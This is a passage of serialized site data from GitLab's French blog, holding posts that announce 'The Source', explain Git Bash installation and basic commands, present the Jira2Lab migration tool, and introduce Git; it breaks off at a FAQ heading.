émergentes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674616/Blog/Hero%20Images/blog-image-template-1800x945__1_.png","https://about.gitlab.com/blog/introducing-the-source-insights-for-the-future-of-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Source : une mine d'informations sur l'avenir du développement logiciel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chandler Gibbons\"}],\n        \"datePublished\": \"2024-10-29\",\n      }\n                  ",{"title":2140,"description":2141,"authors":2146,"heroImage":2142,"date":2148,"body":2149,"category":827,"tags":2150,"updatedDate":2151},[2147],"Chandler Gibbons","2024-10-29","Le développement logiciel moderne transforme la façon dont les entreprises créent, proposent et développent de la valeur commerciale. Les équipes doivent être en mesure d’élaborer des solutions rapidement et efficacement, tout en gérant les menaces de sécurité croissantes, les technologies émergentes et les exigences de conformité de plus en plus complexes.\n\nAujourd'hui, GitLab lance [The Source](https://about.gitlab.com/fr-fr/the-source/), une nouvelle publication qui couvre l'évolution du développement logiciel en tant que moteur de la réussite commerciale. Nous partageons régulièrement des informations clés sur l'avenir du développement logiciel, étayées par les recherches et les analyses originales de nos experts métier et de nos leaders d'opinion.\n\nThe Source vous permet par exemple de trouver des réponses aux questions suivantes : \n* Comment les dirigeants peuvent-ils mesurer le retour sur investissement de l'IA tout au long du cycle de développement logiciel ?  \n* Quelle est la meilleure façon de garantir la sécurité et la conformité tout au long de la chaîne d'approvisionnement logicielle ?\n* Quels gains de productivité les équipes peuvent-elles réaliser grâce à la consolidation de leur plateforme et de leur chaîne d'outils ?\n\nVoici un aperçu du contenu que vous pouvez d'ores et déjà retrouver sur The Source : \n\n**Mesurer l'impact de l'IA : 4 étapes indispensables**\n\n« L'évaluation de la productivité dans un contexte de développement amélioré par l'IA nécessite une approche plus nuancée que celle reposant sur les indicateurs traditionnels tels que les lignes de code, les validations de code ou l'achèvement des tâches. Elle nécessite une réorientation vers des résultats commerciaux concrets qui permettent d'équilibrer la rapidité de développement, la qualité des logiciels et la sécurité. »\n- [Taylor McCaslin, expert en IA, présente les 4 étapes indispensables pour mesurer l'impact de l'IA.](https://about.gitlab.com/fr-fr/the-source/ai/4-steps-for-measuring-the-impact-of-ai/)\n\n**Identifier et remédier aux points de friction liés à la sécurité**\n\n« Bien que l'approche DevSecOps promette une meilleure intégration entre l'ingénierie et la sécurité, la présence de frustrations et de déséquilibres montre que des défis subsistent. Ce constat reflète un problème plus large lié à la manière dont les entreprises perçoivent la sécurité, organisent la collaboration entre les équipes, et allouent du temps à cette priorité. »\n- [Trouvez le bon équilibre, grâce à l'expertise de Josh Lemos, CISO de GitLab.](https://about.gitlab.com/fr-fr/the-source/security/security-its-more-than-culture-addressing-the-root-cause-of-common-security/)\n\n**L'ingénierie de plateforme au service de la réussite des entreprises**\n\n« En normalisant et en optimisant les workflows des équipes de développement, l'ingénierie de plateforme crée des \"golden paths\" optimisés pour les tâches courantes tout en offrant la flexibilité nécessaire pour les tâches plus uniques et spécialisées. »  \n- [Découvrez les bonnes pratiques de Brian Wald (GitLab Field CTO) en matière d'ingénierie de plateforme.](https://about.gitlab.com/fr-fr/the-source/platform/driving-business-results-with-platform-engineering/)\n\n## The Source, votre partenaire pour la prise de décision\n\nConsultez [The Source](https://about.gitlab.com/fr-fr/the-source/) dès aujourd'hui pour découvrir les dernières informations du secteur, obtenir des réponses en matière de leadership et découvrir les dernières nouveautés du marché à partager avec vos équipes. Vous pouvez également vous abonner à notre newsletter pour recevoir des mises à jour régulières par e-mail. Rejoignez notre communauté de leaders technologiques avant-gardistes et contribuez à façonner l'avenir du développement logiciel.",[699,673,827,784],"2024-11-11",{"slug":2153,"featured":92,"template":683},"introducing-the-source-insights-for-the-future-of-software-development","content:fr-fr:blog:introducing-the-source-insights-for-the-future-of-software-development.yml","Introducing The Source Insights For The Future Of Software Development","fr-fr/blog/introducing-the-source-insights-for-the-future-of-software-development.yml","fr-fr/blog/introducing-the-source-insights-for-the-future-of-software-development",{"_path":2159,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2160,"content":2166,"config":2171,"_id":2173,"_type":16,"title":2174,"_source":17,"_file":2175,"_stem":2176,"_extension":20},"/fr-fr/blog/git-bash",{"title":2161,"description":2162,"ogTitle":2161,"ogDescription":2162,"noIndex":6,"ogImage":2163,"ogUrl":2164,"ogSiteName":841,"ogType":842,"canonicalUrls":2164,"schema":2165},"Git en ligne de commande sous Windows avec Git Bash","Dans cet article, découvrez Git Bash, son fonctionnement, son installation et les principales commandes à connaître.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665174/Blog/Hero%20Images/git-bash.jpg","https://about.gitlab.com/blog/git-bash","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git en ligne de commande sous Windows avec Git Bash\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab France Team\"}],\n        \"datePublished\": \"2024-10-24\",\n      }",{"title":2161,"description":2162,"authors":2167,"heroImage":2163,"date":2168,"body":2169,"category":928,"tags":2170},[1232],"2024-10-24","Les commandes Git permettent aux développeurs de gérer différentes versions du code et de collaborer en équipe. Si vous évoluez dans un environnement Windows, vous avez peut-être déjà entendu parler de Git Bash, un émulateur de terminal Bash comprenant une version de [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\"), adaptée à Windows. Découvrez dans notre article tout ce que vous devez savoir sur l'installation de Git Bash.\n\n## Comment fonctionne Git Bash ?\n\nGit Bash est une application que vous pouvez installer sur les systèmes d'exploitation Windows à l’aide de Git for Windows. Cette application agit comme un émulateur pour utiliser l'[outil de contrôle de version Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"outil de contrôle de version Git\") sur un terminal de commandes Bash. \n\nBash est l'acronyme de Bourne Again Shell. Shell désigne l'application de terminal de commande d'un système d'exploitation (OS). Bourne Again Shell est en réalité une version améliorée de Bourne Shell (aussi désignée comme shell sh), l'interface en ligne de commandes pour UNIX développée par Stephen Bourne en 1977.\n\nBash est le shell par défaut pour les systèmes d'exploitation Linux et MacOS. Grâce à Git Bash, les utilisateurs de Windows peuvent installer Bash, exécuter des commandes Bash et utiliser des commandes Git.\n\n## Comment installer Git Bash ?\n\nPour télécharger Git Bash, il est nécessaire d’installer Git for Windows. Pour ce faire, rendez-vous sur le site officiel de [Git for Windows](https://gitforwindows.org/ \"Git for Windows\") et cliquez sur « Download » pour installer le package Git complet. Lorsque le téléchargement est terminé, ouvrez le fichier en .exe et commencez l'installation.\n\nPour installer Git Bash sur Windows, veuillez suivre ces instructions pas à pas :\n\n1. Ouvrez le fichier .exe puis cliquez sur « Next ». Sélectionnez le dossier adéquat pour l'installation. \n\n2. Acceptez les conditions d'utilisation, puis cliquez sur « Next » pour lancer l'installation.\n\n3. À cette étape, sélectionnez les composants à installer. Les réglages présélectionnés sont pertinents, mais vous pouvez les modifier selon vos préférences. Cliquez à nouveau sur « Next ».\n\n4. Ensuite, choisissez l'éditeur que vous préférez utiliser avec Git. L'outil reconnaît les éditeurs déjà installés sur votre ordinateur.\n\n5. Une fenêtre s'affiche avec trois paramétrages de l'environnement PATH. En fonction de vos besoins, choisissez si Git ne doit être utilisé que par Git Bash ou si vous souhaitez l'utiliser depuis d'autres logiciels tiers.\n\n6. Enfin, conservez les réglages par défaut en cliquant sur « Next » et installez Git Bash en cliquant sur « Install ».\n\n## Quelles sont les commandes Bash ?\n\nTout d'abord, la commande `pwd` (Print Working Directory) permet de visualiser le chemin absolu. Cela signifie qu'elle affiche le chemin d'accès du dossier dans lequel nous nous trouvons au moment de taper la commande. \n\n__À retenir :__ lorsque vous ouvrez le terminal Git Bash, vous vous situez dans un dossier de votre ordinateur. Généralement, il s'agit du dossier portant votre nom d'utilisateur. \n\nLa commande `ls` donne accès à la liste de fichiers présents dans le dossier actuel. Vous pouvez également ajouter des options à la commande `ls` grâce à un tiret `-`. Par exemple, l'option `-l` après `ls` liste le contenu d'un dossier avec plus d'informations sur chaque fichier. \n\nBash dispose aussi d'une commande `cd` (Change Directory) pour se déplacer dans votre ordinateur. Pour indiquer le répertoire dans lequel vous souhaitez vous rendre, veuillez préciser le chemin relatif ou absolu après `cd`. Le chemin relatif correspond à l'emplacement par rapport au répertoire courant tandis que le chemin absolu correspond à son emplacement par rapport au dossier racine. \n\n## Comment utiliser Git Bash avec GitLab ?\n\nUtiliser Git Bash avec [GitLab](https://about.gitlab.com/fr-fr/ \"GitLab\") revient à utiliser l'émulateur de terminal avec une autre plateforme de gestion de code source. Afin de pousser et de récupérer vos modifications depuis GitLab, ajoutez l'URL de votre dépôt distant GitLab grâce à la commande : `git remote add origin \u003Crepository_url>`.\n\nSi votre projet est privé, Git Bash vous demande de vous authentifier. Entrez vos identifiants lorsque le terminal demande votre nom d'utilisateur et votre mot de passe. Si vous rencontrez des problèmes d'identification, vérifiez vos paramètres d'autorisation directement dans GitLab.\n\nUtilisez ensuite les commandes de base Git comme `git clone`, [git commit](https://about.gitlab.com/fr-fr/blog/keeping-git-commit-history-clean/ \"Commits Git\"), `git push`, `git branch` ainsi que `git checkout`, pour n'en citer que quelques-unes. Pour en savoir plus, consultez notre [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf \"Git Cheat Sheet de GitLab \"). \n\n### FAQ sur Git Bash\n\n### Git Bash et GitLab sont-ils compatibles ?\n\nOui. L'utilisation de Git Bash avec GitLab est similaire au fonctionnement avec une autre plateforme de gestion de code source. Veillez à configurer GitLab comme dépôt distant et à vous authentifier lors du paramétrage initial. \n\n### Pourquoi utiliser Git Bash ?\n\nGit Bash agit comme un émulateur de terminal pour utiliser les commandes Git et Bash dans un environnement Windows.\n\n### Quel est l’intérêt d’un shell ?\n\nL’utilisation d’un shell permet d’automatiser des tâches grâce à des scripts, de contrôler efficacement son ordinateur et de bénéficier d’un accès direct aux fonctions du système.\n",[1047,913],{"slug":2172,"featured":6,"template":683},"git-bash","content:fr-fr:blog:git-bash.yml","Git Bash","fr-fr/blog/git-bash.yml","fr-fr/blog/git-bash",{"_path":2178,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2179,"content":2184,"config":2191,"_id":2193,"_type":16,"title":2194,"_source":17,"_file":2195,"_stem":2196,"_extension":20},"/fr-fr/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale",{"title":2180,"description":2181,"ogTitle":2180,"ogDescription":2181,"noIndex":6,"ogImage":1720,"ogUrl":2182,"ogSiteName":841,"ogType":842,"canonicalUrls":2182,"schema":2183},"Jira vers GitLab : migrer facilement à grande échelle avec Jira2Lab","Découvrez comment Jira2GitLab simplifie les migrations à grande échelle de Jira vers GitLab en gérant des transferts de données complexes, en améliorant l'évolutivité et en assurant une intégration efficace.","https://about.gitlab.com/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Jira vers GitLab : migrer facilement à grande échelle avec Jira2Lab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Maximilien Belinga\"}],\n        \"datePublished\": \"2024-10-10\",\n      }",{"title":2180,"description":2181,"authors":2185,"heroImage":1720,"date":2187,"body":2188,"category":1480,"tags":2189,"updatedDate":2190},[2186],"Maximilien Belinga","2024-10-10","[Atlassian Server n'est plus disponible depuis février](https://about.gitlab.com/fr-fr/move-to-gitlab-from-atlassian/), ce qui a incité de nombreux clients à explorer des alternatives telles qu'Atlassian Cloud ou Data Center. Cependant, les entreprises qui utilisaient Atlassian Server recherchent de plus en plus des solutions de planification Agile offrant une flexibilité améliorée, une rentabilité plus élevée et une intégration DevSecOps robuste. Elles doivent également relever des défis liés au volume de données, à la personnalisation, au mappage utilisateur, aux performances et à l'intégrité des données pendant la migration. C'est là qu'intervient [Jira2Lab de GitLab](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/jira2lab). Jira2Lab apporte une solution qui permet des migrations à grande échelle de Jira vers GitLab, tout en offrant une intégration [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") complète.\n\n## Quels sont les principaux défis des migrations Jira à grande échelle ? \n\nLa migration de Jira vers GitLab peut représenter un obstacle majeur, en particulier lorsque les entreprises ont des workflows complexes et doivent déplacer des milliers de tickets. \n\nVoici les défis les plus courants rencontrés lors de ces migrations :\n\n- **Migration massive de données :** la complexité de la migration qui doit être effectuée sans problèmes de performance ni perte de données augmente proportionnellement avec le nombre de tickets, de pièces jointes, de commentaires et de projets qu'elle inclut.\n\n- **Champs et workflows personnalisés :** les instances Jira contiennent souvent des workflows, des champs et des types de tickets personnalisés qui n'ont pas de mappage individuel dans GitLab. Cet écart crée des frictions lors de la migration, car les outils existants nécessitent souvent une intervention manuelle pour déplacer ces éléments.\n\n- **Absence d'intégration DevSecOps complète :** bien que de nombreux outils de migration gèrent les données de gestion des projets, ils n'intègrent pas toutes les fonctionnalités [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab. En conséquence, les équipes doivent configurer manuellement leurs [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") et leurs systèmes de [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\") après la migration.\n\n## Présentation de Jira2Lab\n\nJira2Lab a été entièrement conçu pour résoudre les défis spécifiques à la migration de Jira vers GitLab à grande échelle. Il ne s'agit pas seulement de déplacer des données, mais aussi de permettre aux équipes de passer sans accroc au puissant environnement DevSecOps de GitLab sans temps d’arrêt ni perte de données.\n\n### Quelles sont les principales fonctionnalités de Jira2Lab ? \n\n1. Traitement efficace des données à grande échelle : Jira2Lab est optimisé pour gérer des milliers de tickets, de pièces jointes, de commentaires et de champs personnalisés sur plusieurs projets sans sacrifier les performances. Il s'adapte à tous les besoins, même pour les plus grandes migrations d'entreprise.\n\n2. Workflow personnalisé et mappage des champs : l'une des fonctionnalités de Jira2Lab est sa capacité à associer automatiquement des workflows et des champs personnalisés entre Jira et GitLab. L'outil fournit une configuration de mappage flexible qui élimine les interventions manuelles pendant le processus de migration, en veillant à ce que toutes les données passent sans accroc de Jira vers GitLab.\n\n3. Intégration du pipeline CI/CD : Jira2Lab ne se contente pas de migrer vos tickets et vos projets. L'outil intègre le pipeline CI/CD complet de GitLab dans le processus de migration. Les équipes de développement peuvent ainsi commencer à utiliser les fonctionnalités DevSecOps de GitLab, telles que les tests automatisés et les pipelines de déploiement, immédiatement après la migration.\n\n4. Migrations pilotes : notre outil prend en charge les migrations pilotes pour permettre aux équipes de tester leurs configurations et leurs workflows avant de migrer l'ensemble des données. Tous les problèmes sont détectés rapidement, ce qui évite les interruptions pendant la migration complète.\n\n5. Surveillance en temps réel : l'outil fournit une surveillance et des journaux en temps réel pendant la migration. Cette transparence totale assure que chaque étape est effectuée correctement et sans erreurs.\n\n6. Personnalisation et flexibilité : même si votre instance Jira dispose de configurations ou de workflows uniques, Jira2Lab vous permet de personnaliser la migration en fonction de vos besoins spécifiques, en veillant à ce que rien ne soit perdu au cours de la transition.\n\n### Comparaison des fonctionnalités : Jira et GitLab\n\nLa migration de Jira vers GitLab permet de consolider les workflows et d'accéder aux fonctionnalités avancées natives de GitLab. Voici une comparaison rapide des principales fonctionnalités des deux plateformes :\n\n| **Fonctionnalité**             | **Jira**                        | **GitLab**                    |\n|-------------------------|----------------------------------|-------------------------------|\n| **Suivi des tickets**       | Oui (Hautement personnalisable)       | Oui (Intégré au DevSecOps)   |\n| **Tableaux Agile**         | Oui (tableau Kanban, Scrum)             | Oui (Tableaux des tickets, jalons) |\n| **CI/CD**                | Non (Requiert des outils externes)    | Oui (CI/CD intégré)           |\n| **Contrôle de version**       | Non (Requiert GitHub/Bitbucket)  | Oui (Prise en charge native de [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \"))       |\n| **Outils DevSecOps**         | Intégrations limitées            | Cycle de vie DevSecOps complet          |\n\nAvec Jira2Lab, nous veillons à ce que tous les aspects critiques, de la gestion des tickets aux pipelines CI/CD, soient transférés sans heurts. Pour ce faire, nous tirons parti de l'approche intégrée de GitLab en matière de développement et d’opérations.\n\n## La méthodologie de migration\n\nJira2Lab suit une méthodologie de migration structurée en cinq étapes. Cette approche garantit une transition fluide avec un minimum de perturbations :\n\n### 1. Découverte et planification\n\nNous commençons par bien comprendre la configuration Jira du client en identifiant tous les workflows, champs et projets personnalisés qui doivent être migrés. Cette étape implique également une analyse des lacunes pour comparer les fonctionnalités de Jira et de GitLab et planifier le processus de migration.\n\n### 2. Configuration\nAu cours de cette étape, nous configurons l'outil de migration et mettons en place les environnements nécessaires pour Jira et GitLab. Nous vérifions toutes les autorisations et configurons la sauvegarde des données Jira avant le début de la migration.\n\n### 3. Migrations pilotes\nAvant de migrer l'ensemble des données, nous exécutons des migrations pilotes sur des projets sélectionnés afin de tester le processus de migration, les workflows et l'intégrité des données. Nous avons ainsi l'opportunité d'identifier et de résoudre tout problème dès le début du processus.\n\n### 4. Migrations à l'échelle\nAprès avoir validé la migration pilote, nous effectuons la migration de tous les projets, en garantissant des temps d'arrêt minimaux et des transitions en douceur pour les équipes de développement.\n\n### 5. Finalisation et assistance post-migration\nUne fois la migration terminée, nous fournissons une assistance continue afin de garantir que toutes les équipes sont pleinement opérationnelles dans GitLab. Cette étape comprend également la formation des utilisateurs et la désactivation de l'instance Jira, si nécessaire.\n\n## Étude de cas : migration à grande échelle avec Jira2Lab\n\nLors d'une migration récente, une grande entreprise a dû relever le défi de migrer plus de 20 000 tickets sur 50 projets de Jira vers GitLab. Le projet comportait des workflows hautement personnalisés et des milliers de commentaires et de pièces jointes à transférer.\n\nAvec Jira2Lab, nous avons pu :\n\n- Migrer toutes les données, y compris les champs personnalisés, sans aucune perte de données.\n- Configurer des pipelines CI/CD dans GitLab afin que les équipes puissent immédiatement poursuivre leur travail après la migration.\n- Effectuer une migration pilote de deux projets, ce qui nous a permis d'identifier et de corriger des écarts mineurs dans les workflows avant d'effectuer la migration pour l'ensemble de l'entreprise.\n\nEn conséquence, la transition vers GitLab s'est déroulée en toute fluidité. L'ensemble du processus s'est effectué dans les délais prévus et sans temps d'arrêt significatif.\n\n## Commencez dès aujourd'hui avec Jira2Lab\n\nL'outil Jira2Lab apporte une solution aux limitations que d'autres outils de migration ne peuvent pas gérer. Il est conçu spécifiquement pour les migrations à grande échelle et peut s'intégrer au cycle de vie DevSecOps complet de GitLab, contrairement à la plupart des outils qui ne gèrent que les données de gestion de projet. La capacité de l'outil à cartographier des workflows personnalisés et à intégrer des pipelines CI/CD en fait la solution idéale pour les entreprises qui souhaitent améliorer leurs workflows de développement tout en migrant vers GitLab.\n\n> Vous souhaitez faire évoluer vos processus de développement avec GitLab ? Explorez notre [catalogue de services professionnels](https://about.gitlab.com/services/catalog/) pour découvrir comment nous pouvons aider votre équipe à migrer de manière efficace et efficiente. Contactez-nous via le formulaire en bas de page pour planifier une démonstration personnalisée de Jira2Lab de GitLab.\n",[1482,110,784,675,676],"2025-01-02",{"slug":2192,"featured":92,"template":683},"seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale","content:fr-fr:blog:seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale.yml","Seamlessly Migrate From Jira To Gitlab With Jira2lab At Scale","fr-fr/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale.yml","fr-fr/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale",{"_path":2198,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2199,"content":2205,"config":2210,"_id":2212,"_type":16,"title":2213,"_source":17,"_file":2214,"_stem":2215,"_extension":20},"/fr-fr/blog/what-is-git",{"title":2200,"description":2201,"ogTitle":2200,"ogDescription":2201,"noIndex":6,"ogImage":2202,"ogUrl":2203,"ogSiteName":841,"ogType":842,"canonicalUrls":2203,"schema":2204},"Qu'est-ce que Git ? Guide complet sur son rôle et son fonctionnement","Vous voulez réaliser vos projets avec Git ? Découvrez tous ses avantages et son fonctionnement dans notre guide complet, disponible dès maintenant.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749687231/Blog/Hero%20Images/Git.jpg","https://about.gitlab.com/blog/what-is-git","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Qu'est-ce que Git ? Guide complet sur son rôle et son fonctionnement\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2024-10-08\",\n      }",{"title":2200,"description":2201,"authors":2206,"heroImage":2202,"date":2207,"body":2208,"category":928,"tags":2209},[1253],"2024-10-08","Git est un outil incontournable dans le monde du développement logiciel moderne. Dans ce guide complet nous vous expliquons en détail ce qu'est l'outil Git, son rôle dans la gestion des versions d’un code source, et son fonctionnement. Que vous soyez débutant ou expérimenté, ce guide vous fournira une compréhension approfondie de Git et de ses nombreuses fonctionnalités.\n\n__Sommaire__\n- Qu'est-ce que Git ?\n- Quelles sont les fonctionnalités de Git ?\n- Quels sont les avantages de Git ?\n- Quelles sont les principales commandes de Git ?\n- Git et GitLab\n\n## Qu'est-ce que Git ?\n\nGit est un outil de contrôle de version qui est rapidement devenu incontournable dans l'écosystème du développement logiciel. Grâce à sa capacité à conserver un historique minutieux des modifications apportées sur un projet, Git représente un allié précieux pour tout développeur soucieux de gérer efficacement ses projets. Maîtriser Git est, de ce fait, maintenant une compétence essentielle à connaître pour quiconque souhaite exceller dans le domaine du développement logiciel. \n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab.\") \n\n### Qu’est-ce que le contrôle de version ?\n\nLe [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Contrôle de version\") permet de suivre les modifications apportées au code source d'un logiciel. Ainsi, la version livrée d’un logiciel, est composée d'un ensemble de versions spécifiques de chacun de ses composants et fichiers de code source. Par exemple, une icône pourrait n’avoir été changée que deux fois, tandis qu’un fichier de code aurait pu subir plusieurs dizaines de modifications au fil du temps.\n\n![Contrôle de version Git](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749688210/Blog/Content%20Images/controle-de-version-git.png)\n\n## Quelles sont les fonctionnalités de Git ?\n\nDans le développement, il est important de maintenir une gestion rigoureuse des modifications apportées au code source d'un logiciel. Sans cela, il est impossible de garantir la cohérence et la fiabilité du travail réalisé par les équipes de développement. Une gestion fine des évolutions peut également permettre d’identifier plus facilement la source d’un problème. De même, elle réduit les risques de conflits et d’écrasement de fichiers. Or, faciliter et fluidifier la gestion des versions d'un logiciel est précisément ce à quoi Git sert.\n\nAfin de mieux comprendre Git et son fonctionnement, nous avons réuni ci-dessous quelques-unes des fonctionnalités clés qui facilitent l'optimisation de la gestion du code source ainsi que la collaboration entre les équipes. \n\n### Une visualisation de l'historique de vos projets\n\nDans l'écosystème de développement logiciel, [l'historique de commits](https://about.gitlab.com/fr-fr/blog/keeping-git-commit-history-clean/ \"Historique de commits Git\") représente un pilier fondamental pour le suivi de l'évolution d'un projet sur Git. C'est pourquoi Git offre aux développeurs et développeuses un historique détaillé de tous les changements apportés au code source. \n\nÀ chaque nouveau commit sont enregistrés :\n\n- les modifications spécifiques effectuées sur les fichiers du projet,\n- un message explicatif de la part du développeur ou de la développeuse à l'origine de la modification,\n\nCes éléments contribuent à améliorer la communication et la mission de l'équipe de développement, qui peut alors comprendre plus rapidement les tenants et les aboutissants de chaque modification apportée au code.\n\nEn plus de suivre les évolutions du projet, cet historique permet de revenir en arrière si nécessaire, d’annuler une partie des modifications ou au contraire de récupérer seulement une partie des modifications d’une branche vers une autre. Cette fonction joue donc un rôle essentiel pour maintenir la transparence, la cohérence et la qualité du code source d'un projet dans Git, mais également la collaboration au sein de l’équipe de développement et l’efficacité opérationnelle pour résoudre des problèmes.\n\nConsultez notre article pour [créer votre premier commit Git](https://docs.gitlab.com/ee/tutorials/make_first_git_commit/ \"Création d'un commit Git\").  \n\n### Une meilleure autonomie des équipes\n\nAutre fonctionnalité essentielle de l'outil Git : le développement distribué (ou [Distributed development](https://git-scm.com/about/distributed \"Développement distribué de Git\") en anglais). Grâce à sa structure décentralisée, Git permet aux équipes de développement de travailler simultanément sur un même projet. Chaque membre d’une équipe dispose de sa propre copie du projet, où chacune de ses modifications peuvent être versionnées. Ce qui leur permet de travailler de manière autonome sur des fonctionnalités spécifiques, tout en réduisant les risques de conflit ou d'écrasement. Cette approche offre une grande flexibilité aux développeurs et développeuses qui peuvent alors explorer différentes idées ou expérimenter de nouvelles fonctionnalités sans interférer avec le travail de leurs collègues. \n\nLe développement distribué permet aussi d'être plus résilient face aux pannes de serveur. Ainsi, même en cas de défaillance, chaque personne dispose d'une copie sur laquelle il peut continuer de travailler hors ligne. Les modifications pourront ensuite être synchronisées une fois le serveur de nouveau disponible, réduisant de fait les risques d’interruption de travail pour les équipes de développement et les contraintes de mise à jour pour les équipes opérationnelles.\n\n### Une optimisation des workflows de développement\n\nLes fonctionnalités de [gestion des branches et de leurs fusions](https://git-scm.com/about/branching-and-merging \"Gestion des branches et de leurs fusions\") (branching et merging) sont parmi les caractéristiques les plus puissantes de Git. Elles permettent aux équipes de travailler en parallèle de manière collaborative et organisée. Chaque nouvel ajout de code ou correction de bug peut être développé et testé indépendamment pour s'assurer de leur fiabilité. Les développeurs et développeuses n'ont ensuite qu'à fusionner les modifications apportées dans la branche principale du projet.\n\nEn adoptant cette approche, les équipes peuvent suivre l'évolution du code, collaborer facilement et efficacement, réduire les conflits entre les différentes versions et assurer une intégration continue des fonctionnalités développées.\n\nEn utilisant ces deux fonctionnalités, les équipes sont en mesure de développer des projets en continu et de manière agile, tout en déployant régulièrement de nouvelles versions de code. Cette pratique facilite grandement la gestion des modifications tout en réduisant les risques d'erreurs.\n\n## Quels sont les avantages de Git ?\n\nPour bien comprendre Git, il est important de saisir pleinement les avantages que son utilisation apporte à vos équipes de développement :\n\n- __Une gestion décentralisée des versions :__ avec Git, chaque développeur dispose d'une copie complète de l'historique du projet, ce qui permet de travailler en parfaite autonomie.\n\n- __Un outil conçu autour de la sécurité :__ contrairement à d’autres outils de contrôle de version, Git a été conçu dès sa création pour garantir l’intégrité de tous les éléments du dépôt avec un algorithme de hachage de sécurité cryptographique (SHA1 et SHA-256 à ce jour). Cet algorithme a pour objectif de protéger le code et l’historique d’un projet contre toute modification, qu’elle soit malveillante ou non. En complément, chaque commit (création d’une nouvelle version) peut être signé automatiquement (GPG) pour garantir la traçabilité des modifications. Cela fait de Git un outil particulièrement sécurisé et sécurisant, qui garantit l’intégrité et l’authenticité de votre code source et de son historique.\n\n- __Un outil rapide et efficace :__ l'outil Git a été conçu pour maximiser l'efficacité au cours du développement. Sa rapidité permet aux développeurs et développeuses d'exécuter des opérations complexes, telles que les commits, le branching et le merging, en un temps minimal, même sur des bases de code volumineuses. Il assure également une empreinte minimale sur le disque dur et lors des échanges réseaux. Cette efficacité se traduit alors par un temps de réponse rapide lors des sauvegardes, des consultations et des modifications de l'historique du projet.\n\n- __Une plus grande flexibilité de travail :__ Git prend en charge une grande variété de workflows de développement. Que vous préfériez des modèles de développement centralisés ou des approches plus linéaires, Git s'adapte facilement. Cette capacité à gérer différents workflows laisse aux équipes un large choix quant à la méthode de travail à adopter.\n\n- __Facilité d'intégration :__ Git se distingue par sa capacité à s'intégrer avec une multitude d'outils et de plateformes de développement existants. L'étendue de cette compatibilité permet aux équipes de gérer plus efficacement leurs projets en tirant parti des meilleurs outils et pratiques DevSecOps.\n\n- __Un projet open source très suivi :__ autre avantage non négligeable de Git, c'est un projet open source qui bénéficie d'une communauté dynamique et engagée veillant à son évolution constante. Cette participation active des personnes, mais également des entreprises membres de la communauté Git garantit l'ajout régulier de nouvelles fonctionnalités et améliorations grâce à des mises à jour régulières.\n\n## Quelles sont les principales commandes de Git ?\n\nLe projet [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu’est-ce que l’open source ?\") Git propose une grande variété de commandes pour faciliter le travail des équipes. \n\nVoici quelques-unes des commandes les plus couramment utilisées.\n\n- `git init` : initialiser un nouveau dépôt Git.\n- `git clone [url]` : cloner un dépôt existant.\n- `git add [fichier]` : ajouter un fichier à l'index.\n- `git commit` : valider les modifications apportées.\n- `git commit -m \"message\"` : valider les changements avec un message.\n- `git status` : afficher l'état des fichiers dans le répertoire de travail.\n- `git push` : envoyer les modifications vers le dépôt distant.\n- `git pull` : récupérer les modifications du dépôt distant et les fusionner avec le dépôt local.\n\nBien que ces commandes soient essentielles pour démarrer avec Git, il est important de noter qu'il existe beaucoup d'autres commandes. Consultez la [liste des commandes Git](https://git-scm.com/docs/git/fr#_commandes_git \"Liste des commandes Git\").\n\n## Git et GitLab\n\nGitLab est une plateforme collaborative de développement open source qui couvre toutes les étapes du cycle de vie DevSecOps et offre un serveur Git permettant aux équipes de collaborer ensemble et efficacement. \n\nAu delà de la gestion du code source, GitLab offre une suite complète, permettant d’exécuter l’intégration et la distribution en continue, la gestion des livrables, la gestion de la sécurité et des incidents, ainsi que toute la traçabilité associée, la planification et le suivi des tâches en temps réel, le monitoring des déploiements, la gestion des versions logicielles et l’espace documentaire associé.\n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab.\") \n\n## FAQ sur Git\n\n### 